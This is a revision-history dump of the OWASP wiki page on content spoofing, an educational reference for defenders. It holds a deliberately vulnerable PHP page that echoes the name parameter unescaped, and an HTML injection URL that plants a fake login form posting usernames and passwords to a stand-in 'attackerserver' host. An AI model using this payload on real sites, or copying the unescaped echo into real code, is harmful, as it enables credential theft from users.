By requesting the link below, the page renders the injected HTML, presents a login form, and comments out the rest of the page after the injection point. Once a user enters their username and password, the values are sent to a page named ''login.php'' on the attacker's server via POST.<br />
<br />
<pre><br />
http://127.0.0.1/vulnerable.php?name=<h3>Please Enter Your Username and Password to Proceed:</h3><form method="POST" <br />
action="http://attackerserver/login.php">Username: <input type="text" name="username" /><br />Password: <input type="password" <br />
name="password" /><br /><input type="submit" value="Login" /></form><!--<br />
</pre><br />
<br />
<br />
===Text Injection===<br />
<br />
Another example of a content spoofing attack would be to present false information to a user via text manipulation. An attack scenario is demonstrated below. For this scenario, lets assume proper output encoding HAS been implemented and XSS is not possible:<br />
<br />
#An attacker identifies a web application that gives recommendations to its users on whether they should buy or sell a particular stock<br />
#The attacker identifies a vulnerable parameter<br />
#The attacker crafts a malicious link by slightly modifying a valid request<br />
#The link containing the modified request is sent to a user and they clicks the link<br />
#A valid webpage is created using the attackers malicious recommendation and the user believes the recommendation was from the stock website<br />
<br />
<br />
'''Valid Page'''<br />
<pre><br />
http://vulnerablesite/suggestions.php?stockid=123&stockrecommendation=We+Recommend+You+Buy+Now<br />
</pre><br />
<br />
'''Modified Page'''<br />
<pre><br />
http://vulnerablesite/suggestions.php?stockid=123&stockrecommendation=We+Really+Recommend+You+Sell+This+Stock+Now<br />
</pre><br />
<br />
==Related [[Threat Agents]]==<br />
<br />
* Malicious competitors<br />
* Disgruntled employees<br />
* Unsatisfied customers<br />
<br />
==Related [[Attacks]]==<br />
<br />
* [[Cross-site Scripting (XSS)]]<br />
* [[:Category:Injection Attack]]<br />
<br />
<br />
==Related [[Vulnerabilities]]==<br />
<br />
* [[:Category:Input Validation Vulnerability]]<br />
* [[Improper Data Validation]]<br />
<br />
<br />
<br />
==Related [[Controls]]==<br />
<br />
* [[XSS (Cross Site Scripting) Prevention Cheat Sheet]]<br />
<br />
<br />
==References==<br />
<br />
* http://capec.mitre.org/data/definitions/148.html<br />
* http://projects.webappsec.org/w/page/13246917/Content%20Spoofing<br />
* http://itlaw.wikia.com/wiki/Content_injection_attack<br />
* CERT Advisory on Malicious HTML Tags: http://www.cert.org/advisories/CA-2000-02.html<br />
* OWASP's [[XSS (Cross Site Scripting) Prevention Cheat Sheet]]<br />
* OWASP Guide to Building Secure Web Applications and Web Services, Chapter 8: [[Data_Validation|Data Validation]]<br />
* HTML Code Injection and Cross-site Scripting: http://www.technicalinfo.net/papers/CSS.html<br />
<br />
[[Category:Injection]]<br />
[[Category:Attack]]</div>D0ubl3 h3lixhttps://wiki.owasp.org/index.php?title=Content_Spoofing&diff=238292Content Spoofing2018-03-03T11:16:10Z<p>D0ubl3 h3lix: /* Examples */</p>
<hr />
<div>{{Template:Attack}}<br />
<br />
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''<br />
<br />
<br />
<br />
==Description==<br />
<br />
Content spoofing, also referred to as ''content injection'', "arbitrary text injection" or ''virtual defacement'', is an attack targeting a user made possible by an injection vulnerability in a web application. When an application does not properly handle user-supplied data, an attacker can supply content to a web application, typically via a parameter value, that is reflected back to the user. This presents the user with a modified page under the context of the trusted domain.<br><br />
<br />
This attack is typically used as, or in conjunction with, social engineering because the attack is exploiting a code-based vulnerability and a user's trust.<br />
<br />
==Attack Scenario==<br />
<br />
An attacker compromised social accounts which have thousands of followers and distribute misleading Content Spoofing payload via Twitter/Facebook/Instagram/ similar popular channel.<br />
<br />
==Risk Factors==<br />
<br />
Risk factors depend on the business type of the application. If the application business brand is well known and has major competitors, this issue can be abused by malicious competitors/disgruntled employees/unsatisfied customers to trigger mass distributions of false messages to unsuspecting customers. By doing so, customers could be forced to switch to competitor's products. This could lead to loss of thousands of monetary value until rectification is properly done by the victim business.<br />
<br />
==Applicable Industries ==<br />
<br />
* A business entity selling one type of product as a major business function<br />
For example, Taxi hailing business, Online shopping business, Online service business<br />
<br />
* A business entity relying on the brand name <br />
For example, Cosmetic brand, Airline brand<br />
<br />
== Content Spoofing vs. Cross-site Scripting<br> ==<br />
Content spoofing is an attack that is closely related to [[Cross-site Scripting (XSS)]]. While XSS uses [https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet <script> and other techniques] to run JavaScript, content spoofing uses other techniques to modify the page for malicious reasons.<br />
<br />
Even if XSS mitigation techniques are used within the web application, such as proper output encoding, the application can still be vulnerable to text based content spoofing attacks.<br />
<br />
==Examples==<br />
<br />
<br />
===Hypertext Markup Language (HTML) Injection===<br />
<br />
A possible attack scenario is demonstrated below. For this scenario, lets assumes no output encoding is being implemented:<br />
<br />
# Attacker discovers injection vulnerability and decides to spoof a login form<br />
# Attacker crafts malicious link, including his injected HTML content, and sends it to a user via email<br />
# The user visits the page due to the page being located within a trusted domain<br />
# The attacker's injected HTML is rendered and presented to the user asking for a username and password<br />
# The user enters a username and password, which are both sent to the attackers server<br />
<br />
<br />
: A simple PHP page containing an injection vulnerability via the ''name'' parameter:<br />
<br />
<pre><br />
<?php<br />
$name = $_REQUEST ['name'];<br />
?><br />
<html><br />
<h1>Welcome to the Internet!</h1><br />
<br><br />
<body><br />
Hello, <?php echo $name; ?>!<br />
<p>We are so glad you are here!</p><br />
</body><br />
</html><br />
</pre><br />
<br />
The page functionality can be tested by making the following GET request to the page:<br />
<br />
<pre><br />
http://127.0.0.1/vulnerable.php?name=test<br />
</pre><br />
<br />
By requesting the link below, the page renders the injected HTML, presents a login form, and comments out the rest of the page after the injection point. Once a user enters their username and password, the values are sent to a page named ''login.php'' on the attacker's server via POST.<br />
<br />
<pre><br />
http://127.0.0.1/vulnerable.php?name=<h3>Please Enter Your Username and Password to Proceed:</h3><form method="POST" <br />
action="http://attackerserver/login.php">Username: <input type="text" name="username" /><br />Password: <input type="password" <br />
name="password" /><br /><input type="submit" value="Login" /></form><!--<br />
</pre><br />
<br />
<br />
===Text Injection===<br />
<br />
Another example of a content spoofing attack would be to present false information to a user via text manipulation. An attack scenario is demonstrated below. For this scenario, lets assume proper output encoding HAS been implemented and XSS is not possible:<br />
<br />
#An attacker identifies a web application that gives recommendations to its users on whether they should buy or sell a particular stock<br />
#The attacker identifies a vulnerable parameter<br />
#The attacker crafts a malicious link by slightly modifying a valid request<br />
#The link containing the modified request is sent to a user and they clicks the link<br />
#A valid webpage is created using the attackers malicious recommendation and the user believes the recommendation was from the stock website<br />
<br />
<br />
'''Valid Page'''<br />
<pre><br />
http://vulnerablesite/suggestions.php?stockid=123&stockrecommendation=We+Recommend+You+Buy+Now<br />
</pre><br />
<br />
'''Modified Page'''<br />
<pre><br />
http://vulnerablesite/suggestions.php?stockid=123&stockrecommendation=We+Really+Recommend+You+Sell+This+Stock+Now<br />
</pre><br />
<br />
==Related [[Threat Agents]]==<br />
<br />
* Malicious competitors<br />
* Disgruntled employees<br />
* Unsatisfied customers<br />
<br />
==Related [[Attacks]]==<br />
<br />
* [[Cross-site Scripting (XSS)]]<br />
* [[:Category:Injection Attack]]<br />
<br />
<br />
==Related [[Vulnerabilities]]==<br />
<br />
* [[:Category:Input Validation Vulnerability]]<br />
* [[Improper Data Validation]]<br />
<br />
<br />
<br />
==Related [[Controls]]==<br />
<br />
* [[XSS (Cross Site Scripting) Prevention Cheat Sheet]]<br />
<br />
<br />
==References==<br />
<br />
* http://capec.mitre.org/data/definitions/148.html<br />
* http://projects.webappsec.org/w/page/13246917/Content%20Spoofing<br />
* http://itlaw.wikia.com/wiki/Content_injection_attack<br />
* CERT Advisory on Malicious HTML Tags: http://www.cert.org/advisories/CA-2000-02.html<br />
* OWASP's [[XSS (Cross Site Scripting) Prevention Cheat Sheet]]<br />
* OWASP Guide to Building Secure Web Applications and Web Services, Chapter 8: [[Data_Validation|Data Validation]]<br />
* HTML Code Injection and Cross-site Scripting: http://www.technicalinfo.net/papers/CSS.html<br />
<br />
[[Category:Injection]]<br />
[[Category:Attack]]</div>D0ubl3 h3lixhttps://wiki.owasp.org/index.php?title=Content_Spoofing&diff=238291Content Spoofing2018-03-03T11:15:47Z<p>D0ubl3 h3lix: /* Attack Scanerio */</p>
<hr />
<div>{{Template:Attack}}<br />
<br />
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''<br />
<br />
<br />
<br />
==Description==<br />
<br />
Content spoofing, also referred to as ''content injection'', "arbitrary text injection" or ''virtual defacement'', is an attack targeting a user made possible by an injection vulnerability in a web application. When an application does not properly handle user-supplied data, an attacker can supply content to a web application, typically via a parameter value, that is reflected back to the user. This presents the user with a modified page under the context of the trusted domain.<br><br />
<br />
This attack is typically used as, or in conjunction with, social engineering because the attack is exploiting a code-based vulnerability and a user's trust.<br />
<br />
==Attack Scenario==<br />
<br />
An attacker compromised social accounts which have thousands of followers and distribute misleading Content Spoofing payload via Twitter/Facebook/Instagram/ similar popular channel.<br />
<br />
==Risk Factors==<br />
<br />
Risk factors depend on the business type of the application. If the application business brand is well known and has major competitors, this issue can be abused by malicious competitors/disgruntled employees/unsatisfied customers to trigger mass distributions of false messages to unsuspecting customers. By doing so, customers could be forced to switch to competitor's products. This could lead to loss of thousands of monetary value until rectification is properly done by the victim business.<br />
<br />
==Applicable Industries ==<br />
<br />
* A business entity selling one type of product as a major business function<br />
For example, Taxi hailing business, Online shopping business, Online service business<br />
<br />
* A business entity relying on the brand name <br />
For example, Cosmetic brand, Airline brand<br />
<br />
==Examples==<br />
<br />
<br />
===Hypertext Markup Language (HTML) Injection===<br />
<br />
A possible attack scenario is demonstrated below. For this scenario, lets assumes no output encoding is being implemented:<br />
<br />
# Attacker discovers injection vulnerability and decides to spoof a login form<br />
# Attacker crafts malicious link, including his injected HTML content, and sends it to a user via email<br />
# The user visits the page due to the page being located within a trusted domain<br />
# The attacker's injected HTML is rendered and presented to the user asking for a username and password<br />
# The user enters a username and password, which are both sent to the attackers server<br />
<br />
<br />
: A simple PHP page containing an injection vulnerability via the ''name'' parameter:<br />
<br />
<pre><br />
<?php<br />
$name = $_REQUEST ['name'];<br />
?><br />
<html><br />
<h1>Welcome to the Internet!</h1><br />
<br><br />
<body><br />
Hello, <?php echo $name; ?>!<br />
<p>We are so glad you are here!</p><br />
</body><br />
</html><br />
</pre><br />
<br />
The page functionality can be tested by making the following GET request to the page:<br />
<br />
<pre><br />
http://127.0.0.1/vulnerable.php?name=test<br />
</pre><br />
<br />
By requesting the link below, the page renders the injected HTML, presents a login form, and comments out the rest of the page after the injection point. Once a user enters their username and password, the values are sent to a page named ''login.php'' on the attacker's server via POST.<br />
<br />
<pre><br />
http://127.0.0.1/vulnerable.php?name=<h3>Please Enter Your Username and Password to Proceed:</h3><form method="POST" <br />
action="http://attackerserver/login.php">Username: <input type="text" name="username" /><br />Password: <input type="password" <br />
name="password" /><br /><input type="submit" value="Login" /></form><!--<br />
</pre><br />
<br />
<br />
===Text Injection===<br />
<br />
Another example of a content spoofing attack would be to present false information to a user via text manipulation. An attack scenario is demonstrated below. For this scenario, lets assume proper output encoding HAS been implemented and XSS is not possible:<br />
<br />
#An attacker identifies a web application that gives recommendations to its users on whether they should buy or sell a particular stock<br />
#The attacker identifies a vulnerable parameter<br />
#The attacker crafts a malicious link by slightly modifying a valid request<br />
#The link containing the modified request is sent to a user and they clicks the link<br />
#A valid webpage is created using the attackers malicious recommendation and the user believes the recommendation was from the stock website<br />
<br />
<br />
'''Valid Page'''<br />
<pre><br />
http://vulnerablesite/suggestions.php?stockid=123&stockrecommendation=We+Recommend+You+Buy+Now<br />
</pre><br />
<br />
'''Modified Page'''<br />
<pre><br />
http://vulnerablesite/suggestions.php?stockid=123&stockrecommendation=We+Really+Recommend+You+Sell+This+Stock+Now<br />
</pre><br />
<br />
==Related [[Threat Agents]]==<br />
<br />
* Malicious competitors<br />
* Disgruntled employees<br />
* Unsatisfied customers<br />
<br />
==Related [[Attacks]]==<br />
<br />
* [[Cross-site Scripting (XSS)]]<br />
* [[:Category:Injection Attack]]<br />
<br />
<br />
==Related [[Vulnerabilities]]==<br />
<br />
* [[:Category:Input Validation Vulnerability]]<br />
* [[Improper Data Validation]]<br />
<br />
<br />
<br />
==Related [[Controls]]==<br />
<br />
* [[XSS (Cross Site Scripting) Prevention Cheat Sheet]]<br />
<br />
<br />
==References==<br />
<br />
* http://capec.mitre.org/data/definitions/148.html<br />
* http://projects.webappsec.org/w/page/13246917/Content%20Spoofing<br />
* http://itlaw.wikia.com/wiki/Content_injection_attack<br />
* CERT Advisory on Malicious HTML Tags: http://www.cert.org/advisories/CA-2000-02.html<br />
* OWASP's [[XSS (Cross Site Scripting) Prevention Cheat Sheet]]<br />
* OWASP Guide to Building Secure Web Applications and Web Services, Chapter 8: [[Data_Validation|Data Validation]]<br />
* HTML Code Injection and Cross-site Scripting: http://www.technicalinfo.net/papers/CSS.html<br />
<br />
[[Category:Injection]]<br />
[[Category:Attack]]</div>D0ubl3 h3lixhttps://wiki.owasp.org/index.php?title=Content_Spoofing&diff=238290Content Spoofing2018-03-03T11:15:02Z<p>D0ubl3 h3lix: /* Content Spoofing vs. Cross-site Scripting */</p>
<hr />
<div>{{Template:Attack}}<br />
<br />
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''<br />
<br />
<br />
<br />
==Description==<br />
<br />
Content spoofing, also referred to as ''content injection'', "arbitrary text injection" or ''virtual defacement'', is an attack targeting a user made possible by an injection vulnerability in a web application. When an application does not properly handle user-supplied data, an attacker can supply content to a web application, typically via a parameter value, that is reflected back to the user. This presents the user with a modified page under the context of the trusted domain.<br><br />
<br />
This attack is typically used as, or in conjunction with, social engineering because the attack is exploiting a code-based vulnerability and a user's trust.<br />
<br />
==Attack Scanerio==<br />
<br />
An attacker compromised social accounts which have thousands of followers and distribute misleading Content Spoofing payload via Twitter/Facebook/Instagram/ similar popular channel.<br />
<br />
==Risk Factors==<br />
<br />
Risk factors depend on the business type of the application. If the application business brand is well known and has major competitors, this issue can be abused by malicious competitors/disgruntled employees/unsatisfied customers to trigger mass distributions of false messages to unsuspecting customers. By doing so, customers could be forced to switch to competitor's products. This could lead to loss of thousands of monetary value until rectification is properly done by the victim business.<br />
<br />
==Applicable Industries ==<br />
<br />
* A business entity selling one type of product as a major business function<br />
For example, Taxi hailing business, Online shopping business, Online service business<br />
<br />
* A business entity relying on the brand name <br />
For example, Cosmetic brand, Airline brand<br />
<br />
==Examples==<br />
<br />
<br />
===Hypertext Markup Language (HTML) Injection===<br />
<br />
A possible attack scenario is demonstrated below. For this scenario, lets assumes no output encoding is being implemented:<br />
<br />
# Attacker discovers injection vulnerability and decides to spoof a login form<br />
# Attacker crafts malicious link, including his injected HTML content, and sends it to a user via email<br />
# The user visits the page due to the page being located within a trusted domain<br />
# The attacker's injected HTML is rendered and presented to the user asking for a username and password<br />
# The user enters a username and password, which are both sent to the attackers server<br />
<br />
<br />
: A simple PHP page containing an injection vulnerability via the ''name'' parameter:<br />
<br />
<pre><br />
<?php<br />
$name = $_REQUEST ['name'];<br />
?><br />
<html><br />
<h1>Welcome to the Internet!</h1><br />
<br><br />
<body><br />
Hello, <?php echo $name; ?>!<br />
<p>We are so glad you are here!</p><br />
</body><br />
</html><br />
</pre><br />
<br />
The page functionality can be tested by making the following GET request to the page:<br />
<br />
<pre><br />
http://127.0.0.1/vulnerable.php?name=test<br />
</pre><br />
<br />
By requesting the link below, the page renders the injected HTML, presents a login form, and comments out the rest of the page after the injection point. Once a user enters their username and password, the values are sent to a page named ''login.php'' on the attacker's server via POST.<br />
<br />
<pre><br />
http://127.0.0.1/vulnerable.php?name=<h3>Please Enter Your Username and Password to Proceed:</h3><form method="POST" <br />
action="http://attackerserver/login.php">Username: <input type="text" name="username" /><br />Password: <input type="password" <br />
name="password" /><br /><input type="submit" value="Login" /></form><!--<br />
</pre><br />
<br />
<br />
===Text Injection===<br />
<br />
Another example of a content spoofing attack would be to present false information to a user via text manipulation. An attack scenario is demonstrated below. For this scenario, lets assume proper output encoding HAS been implemented and XSS is not possible:<br />
<br />
#An attacker identifies a web application that gives recommendations to its users on whether they should buy or sell a particular stock<br />
#The attacker identifies a vulnerable parameter<br />
#The attacker crafts a malicious link by slightly modifying a valid request<br />
#The link containing the modified request is sent to a user and they clicks the link<br />
#A valid webpage is created using the attackers malicious recommendation and the user believes the recommendation was from the stock website<br />
<br />
<br />
'''Valid Page'''<br />
<pre><br />
http://vulnerablesite/suggestions.php?stockid=123&stockrecommendation=We+Recommend+You+Buy+Now<br />
</pre><br />
<br />
'''Modified Page'''<br />
<pre><br />
http://vulnerablesite/suggestions.php?stockid=123&stockrecommendation=We+Really+Recommend+You+Sell+This+Stock+Now<br />
</pre><br />
<br />
==Related [[Threat Agents]]==<br />
<br />
* Malicious competitors<br />
* Disgruntled employees<br />
* Unsatisfied customers<br />
<br />
==Related [[Attacks]]==<br />
<br />
* [[Cross-site Scripting (XSS)]]<br />
* [[:Category:Injection Attack]]<br />
<br />
<br />
==Related [[Vulnerabilities]]==<br />
<br />
* [[:Category:Input Validation Vulnerability]]<br />
* [[Improper Data Validation]]<br />
<br />
<br />
<br />
==Related [[Controls]]==<br />
<br />
* [[XSS (Cross Site Scripting) Prevention Cheat Sheet]]<br />
<br />
<br />
==References==<br />
<br />
* http://capec.mitre.org/data/definitions/148.html<br />
* http://projects.webappsec.org/w/page/13246917/Content%20Spoofing<br />
* http://itlaw.wikia.com/wiki/Content_injection_attack<br />
* CERT Advisory on Malicious HTML Tags: http://www.cert.org/advisories/CA-2000-02.html<br />
* OWASP's [[XSS (Cross Site Scripting) Prevention Cheat Sheet]]<br />
* OWASP Guide to Building Secure Web Applications and Web Services, Chapter 8: [[Data_Validation|Data Validation]]<br />
* HTML Code Injection and Cross-site Scripting: http://www.technicalinfo.net/papers/CSS.html<br />
<br />
[[Category:Injection]]<br />
[[Category:Attack]]</div>D0ubl3 h3lixhttps://wiki.owasp.org/index.php?title=Content_Spoofing&diff=238289Content Spoofing2018-03-03T11:14:45Z<p>D0ubl3 h3lix: /* Description */</p>
<hr />
<div>{{Template:Attack}}<br />
<br />
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''<br />
<br />
<br />
<br />
==Description==<br />
<br />
Content spoofing, also referred to as ''content injection'', "arbitrary text injection" or ''virtual defacement'', is an attack targeting a user made possible by an injection vulnerability in a web application. When an application does not properly handle user-supplied data, an attacker can supply content to a web application, typically via a parameter value, that is reflected back to the user. This presents the user with a modified page under the context of the trusted domain.<br><br />
<br />
This attack is typically used as, or in conjunction with, social engineering because the attack is exploiting a code-based vulnerability and a user's trust.<br />
<br />
==Attack Scanerio==<br />
<br />
An attacker compromised social accounts which have thousands of followers and distribute misleading Content Spoofing payload via Twitter/Facebook/Instagram/ similar popular channel.<br />
<br />
== Content Spoofing vs. Cross-site Scripting<br> ==<br />
Content spoofing is an attack that is closely related to [[Cross-site Scripting (XSS)]]. While XSS uses [https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet <script> and other techniques] to run JavaScript, content spoofing uses other techniques to modify the page for malicious reasons.<br />
<br />
Even if XSS mitigation techniques are used within the web application, such as proper output encoding, the application can still be vulnerable to text based content spoofing attacks.<br />
<br />
==Risk Factors==<br />
<br />
Risk factors depend on the business type of the application. If the application business brand is well known and has major competitors, this issue can be abused by malicious competitors/disgruntled employees/unsatisfied customers to trigger mass distributions of false messages to unsuspecting customers. By doing so, customers could be forced to switch to competitor's products. This could lead to loss of thousands of monetary value until rectification is properly done by the victim business.<br />
<br />
==Applicable Industries ==<br />
<br />
* A business entity selling one type of product as a major business function<br />
For example, Taxi hailing business, Online shopping business, Online service business<br />
<br />
* A business entity relying on the brand name <br />
For example, Cosmetic brand, Airline brand<br />
<br />
==Examples==<br />
<br />
<br />
===Hypertext Markup Language (HTML) Injection===<br />
<br />
A possible attack scenario is demonstrated below. For this scenario, lets assumes no output encoding is being implemented:<br />
<br />
# Attacker discovers injection vulnerability and decides to spoof a login form<br />
# Attacker crafts malicious link, including his injected HTML content, and sends it to a user via email<br />
# The user visits the page due to the page being located within a trusted domain<br />
# The attacker's injected HTML is rendered and presented to the user asking for a username and password<br />
# The user enters a username and password, which are both sent to the attackers server<br />
<br />
<br />
: A simple PHP page containing an injection vulnerability via the ''name'' parameter:<br />
<br />
<pre><br />
<?php<br />
$name = $_REQUEST ['name'];<br />
?><br />
<html><br />
<h1>Welcome to the Internet!</h1><br />
<br><br />
<body><br />
Hello, <?php echo $name; ?>!<br />
<p>We are so glad you are here!</p><br />
</body><br />
</html><br />
</pre><br />
<br />
The page functionality can be tested by making the following GET request to the page:<br />
<br />
<pre><br />
http://127.0.0.1/vulnerable.php?name=test<br />
</pre><br />
<br />
By requesting the link below, the page renders the injected HTML, presents a login form, and comments out the rest of the page after the injection point. Once a user enters their username and password, the values are sent to a page named ''login.php'' on the attacker's server via POST.<br />
<br />
<pre><br />
http://127.0.0.1/vulnerable.php?name=<h3>Please Enter Your Username and Password to Proceed:</h3><form method="POST" <br />
action="http://attackerserver/login.php">Username: <input type="text" name="username" /><br />Password: <input type="password" <br />
name="password" /><br /><input type="submit" value="Login" /></form><!--<br />
</pre><br />
<br />
<br />
===Text Injection===<br />
<br />
Another example of a content spoofing attack would be to present false information to a user via text manipulation. An attack scenario is demonstrated below. For this scenario, lets assume proper output encoding HAS been implemented and XSS is not possible:<br />
<br />
#An attacker identifies a web application that gives recommendations to its users on whether they should buy or sell a particular stock<br />
#The attacker identifies a vulnerable parameter<br />
#The attacker crafts a malicious link by slightly modifying a valid request<br />
#The link containing the modified request is sent to a user and they clicks the link<br />
#A valid webpage is created using the attackers malicious recommendation and the user believes the recommendation was from the stock website<br />
<br />
<br />
'''Valid Page'''<br />
<pre><br />
http://vulnerablesite/suggestions.php?stockid=123&stockrecommendation=We+Recommend+You+Buy+Now<br />
</pre><br />
<br />
'''Modified Page'''<br />
<pre><br />
http://vulnerablesite/suggestions.php?stockid=123&stockrecommendation=We+Really+Recommend+You+Sell+This+Stock+Now<br />
</pre><br />
<br />
==Related [[Threat Agents]]==<br />
<br />
* Malicious competitors<br />
* Disgruntled employees<br />
* Unsatisfied customers<br />
<br />
==Related [[Attacks]]==<br />
<br />
* [[Cross-site Scripting (XSS)]]<br />
* [[:Category:Injection Attack]]<br />
<br />
<br />
==Related [[Vulnerabilities]]==<br />
<br />
* [[:Category:Input Validation Vulnerability]]<br />
* [[Improper Data Validation]]<br />
<br />
<br />
<br />
==Related [[Controls]]==<br />
<br />
* [[XSS (Cross Site Scripting) Prevention Cheat Sheet]]<br />
<br />
<br />
==References==<br />
<br />
* http://capec.mitre.org/data/definitions/148.html<br />
* http://projects.webappsec.org/w/page/13246917/Content%20Spoofing<br />
* http://itlaw.wikia.com/wiki/Content_injection_attack<br />
* CERT Advisory on Malicious HTML Tags: http://www.cert.org/advisories/CA-2000-02.html<br />
* OWASP's [[XSS (Cross Site Scripting) Prevention Cheat Sheet]]<br />
* OWASP Guide to Building Secure Web Applications and Web Services, Chapter 8: [[Data_Validation|Data Validation]]<br />
* HTML Code Injection and Cross-site Scripting: http://www.technicalinfo.net/papers/CSS.html<br />
<br />
[[Category:Injection]]<br />
[[Category:Attack]]</div>D0ubl3 h3lixhttps://wiki.owasp.org/index.php?title=Content_Spoofing&diff=238288Content Spoofing2018-03-03T11:10:46Z<p>D0ubl3 h3lix: /* Related Threat Agents */</p>
<hr />
<div>{{Template:Attack}}<br />
<br />
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''<br />
<br />
<br />
<br />
==Description==<br />
<br />
Content spoofing, also referred to as ''content injection'' or ''virtual defacement'', is an attack targeting a user made possible by an injection vulnerability in a web application. When an application does not properly handle user supplied data, an attacker can supply content to a web application, typically via a parameter value, that is reflected back to the user. This presents the user with a modified page under the context of the trusted domain.<br><br />
<br />
This attack is typically used as, or in conjunction with, social engineering because the attack is exploiting a code-based vulnerability and a user's trust.<br />
<br />
<br />
== Content Spoofing vs. Cross-site Scripting<br> ==<br />
Content spoofing is an attack that is closely related to [[Cross-site Scripting (XSS)]]. While XSS uses [https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet <script> and other techniques] to run JavaScript, content spoofing uses other techniques to modify the page for malicious reasons.<br />
<br />
Even if XSS mitigation techniques are used within the web application, such as proper output encoding, the application can still be vulnerable to text based content spoofing attacks.<br />
<br />
==Risk Factors==<br />
<br />
Risk factors depend on the business type of the application. If the application business brand is well known and has major competitors, this issue can be abused by malicious competitors/disgruntled employees/unsatisfied customers to trigger mass distributions of false messages to unsuspecting customers. By doing so, customers could be forced to switch to competitor's products. This could lead to loss of thousands of monetary value until rectification is properly done by the victim business.<br />
<br />
==Applicable Industries ==<br />
<br />
* A business entity selling one type of product as a major business function<br />
For example, Taxi hailing business, Online shopping business, Online service business<br />
<br />
* A business entity relying on the brand name <br />
For example, Cosmetic brand, Airline brand<br />
<br />
==Examples==<br />
<br />
<br />
===Hypertext Markup Language (HTML) Injection===<br />
<br />
A possible attack scenario is demonstrated below. For this scenario, lets assumes no output encoding is being implemented:<br />
<br />
# Attacker discovers injection vulnerability and decides to spoof a login form<br />
# Attacker crafts malicious link, including his injected HTML content, and sends it to a user via email<br />
# The user visits the page due to the page being located within a trusted domain<br />
# The attacker's injected HTML is rendered and presented to the user asking for a username and password<br />
# The user enters a username and password, which are both sent to the attackers server<br />
<br />
<br />
: A simple PHP page containing an injection vulnerability via the ''name'' parameter:<br />
<br />
<pre><br />
<?php<br />
$name = $_REQUEST ['name'];<br />
?><br />
<html><br />
<h1>Welcome to the Internet!</h1><br />
<br><br />
<body><br />
Hello, <?php echo $name; ?>!<br />
<p>We are so glad you are here!</p><br />
</body><br />
</html><br />
</pre><br />
<br />
The page functionality can be tested by making the following GET request to the page:<br />
<br />
<pre><br />
http://127.0.0.1/vulnerable.php?name=test<br />
</pre><br />
<br />
By requesting the link below, the page renders the injected HTML, presents a login form, and comments out the rest of the page after the injection point. Once a user enters their username and password, the values are sent to a page named ''login.php'' on the attacker's server via POST.<br />
<br />
<pre><br />
http://127.0.0.1/vulnerable.php?name=<h3>Please Enter Your Username and Password to Proceed:</h3><form method="POST" <br />
action="http://attackerserver/login.php">Username: <input type="text" name="username" /><br />Password: <input type="password" <br />
name="password" /><br /><input type="submit" value="Login" /></form><!--<br />
</pre><br />
<br />
<br />
===Text Injection===<br />
<br />
Another example of a content spoofing attack would be to present false information to a user via text manipulation. An attack scenario is demonstrated below. For this scenario, lets assume proper output encoding HAS been implemented and XSS is not possible:<br />
<br />
#An attacker identifies a web application that gives recommendations to its users on whether they should buy or sell a particular stock<br />
#The attacker identifies a vulnerable parameter<br />
#The attacker crafts a malicious link by slightly modifying a valid request<br />
#The link containing the modified request is sent to a user and they clicks the link<br />
#A valid webpage is created using the attackers malicious recommendation and the user believes the recommendation was from the stock website<br />
<br />
<br />
'''Valid Page'''<br />
<pre><br />
http://vulnerablesite/suggestions.php?stockid=123&stockrecommendation=We+Recommend+You+Buy+Now<br />
</pre><br />
<br />
'''Modified Page'''<br />
<pre><br />
http://vulnerablesite/suggestions.php?stockid=123&stockrecommendation=We+Really+Recommend+You+Sell+This+Stock+Now<br />
</pre><br />
<br />
==Related [[Threat Agents]]==<br />
<br />
* Malicious competitors<br />
* Disgruntled employees<br />
* Unsatisfied customers<br />
<br />
==Related [[Attacks]]==<br />
<br />
* [[Cross-site Scripting (XSS)]]<br />
* [[:Category:Injection Attack]]<br />
<br />
<br />
==Related [[Vulnerabilities]]==<br />
<br />
* [[:Category:Input Validation Vulnerability]]<br />
* [[Improper Data Validation]]<br />
<br />
<br />
<br />
==Related [[Controls]]==<br />
<br />
* [[XSS (Cross Site Scripting) Prevention Cheat Sheet]]<br />
<br />
<br />
==References==<br />
<br />
* http://capec.mitre.org/data/definitions/148.html<br />
* http://projects.webappsec.org/w/page/13246917/Content%20Spoofing<br />
* http://itlaw.wikia.com/wiki/Content_injection_attack<br />
* CERT Advisory on Malicious HTML Tags: http://www.cert.org/advisories/CA-2000-02.html<br />
* OWASP's [[XSS (Cross Site Scripting) Prevention Cheat Sheet]]<br />
* OWASP Guide to Building Secure Web Applications and Web Services, Chapter 8: [[Data_Validation|Data Validation]]<br />
* HTML Code Injection and Cross-site Scripting: http://www.technicalinfo.net/papers/CSS.html<br />
<br />
[[Category:Injection]]<br />
[[Category:Attack]]</div>D0ubl3 h3lixhttps://wiki.owasp.org/index.php?title=Content_Spoofing&diff=238287Content Spoofing2018-03-03T11:09:34Z<p>D0ubl3 h3lix: /* Risk Factors */</p>
<hr />
<div>{{Template:Attack}}<br />
<br />
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''<br />
<br />
<br />
<br />
==Description==<br />
<br />
Content spoofing, also referred to as ''content injection'' or ''virtual defacement'', is an attack targeting a user made possible by an injection vulnerability in a web application. When an application does not properly handle user supplied data, an attacker can supply content to a web application, typically via a parameter value, that is reflected back to the user. This presents the user with a modified page under the context of the trusted domain.<br><br />
<br />
This attack is typically used as, or in conjunction with, social engineering because the attack is exploiting a code-based vulnerability and a user's trust.<br />
<br />
<br />
== Content Spoofing vs. Cross-site Scripting<br> ==<br />
Content spoofing is an attack that is closely related to [[Cross-site Scripting (XSS)]]. While XSS uses [https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet <script> and other techniques] to run JavaScript, content spoofing uses other techniques to modify the page for malicious reasons.<br />
<br />
Even if XSS mitigation techniques are used within the web application, such as proper output encoding, the application can still be vulnerable to text based content spoofing attacks.<br />
<br />
==Risk Factors==<br />
<br />
